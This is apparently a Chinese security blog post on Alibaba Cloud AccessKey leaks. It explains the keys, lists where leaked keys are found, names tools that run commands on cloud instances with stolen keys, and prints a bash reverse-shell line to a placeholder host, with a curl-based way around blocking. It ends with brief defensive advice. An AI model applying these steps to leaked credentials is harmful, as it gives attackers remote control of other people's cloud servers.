accesskey基础

什么是accesskey?

访问密钥AccessKey(AK)相当于登录密码,只是使用场景不同。AccessKey用于程序方式调用云服

务API,而登录密码用于登录控制台。如果您不需要调用API,那么就不需要创建AccessKey。

 

accessky创建步骤:

使用云账号登录RAM控制台。

在左侧导航栏的人员管理菜单下,单击用户。

在用户登录名称/显示名称列表下,单击目标RAM用户名称。

在用户AccessKey区域下,单击创建AccessKey。

tips:

首次创建时需填写手机验证码。

AccessKey Secret只在创建时显示,不提供查询,请妥善保管。

如果AccessKey泄露或丢失,则需要创建新的AccessKey,最多可以创建2个AccessKey。

 

accesskey泄露

accesskey泄露主要有两种途径:1.硬编码在代码里 2.第三方存储

获取泄露密钥的方式有很多,和常规的信息收集并无二致。如:

fofa

 

google

 

github

 

debug或者报错页面

 

phpinfo

 

js文件

 

一种自动化利用方式

github上有accesskey的自动化工具,地址:

https://github/mrknow001/aliyun-accesskey-Tools

填入收集到的ID和Secret,获得一个实例ID

 

在工具中尝试bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/1234 0>&1

 

在公网vps上开启监听

 

最简单的利用如上,但实际情况下这样的bash命令往往会被拦截,这里提供一种思路:

采用curl的方式将反弹命令下载到本地运行

另一个工具:

https://github/iiiusky/alicloud-tools/releases

使用方法:

查看所有实例信息:

AliCloud-Tools.exe -a <AccessKey> -s <SecretKey> ecs --list

执行命令:

AliCloud-Tools.exe -a <AccessKey> -s <SecretKey> ecs exec -I <实例ID> -c "执行命令"

供参考

通过云管平台获取权限

步骤:选择阿里云主机 -> 导入key id跟key secret -> 选择主机 -> 导入即可

 

此处以行云管家为例:

 

 

 

 

到最后一步即可获取系统权限

accesskey泄露防御方案

针对第二节的泄露途径,我们不难想到一劳永逸的办法是不要在代码里写入accesskey

大概的思路可以是:将acesskey保存在配置中心中,不让开发触碰到accesskey,使用sdk,以其它凭据获取需调用的accesskey。

当然在实际场景中,如nodejs业务不支持accesskey的调用,日志入库需要直接使用accesskey等等情况也不一而足,具体的防御方案实现也离不开具体的场景,本文仅做抛砖引玉,希望给同行提供一种思路,欢迎讨论,谢谢。

更多推荐

由access key泄露浅谈云安全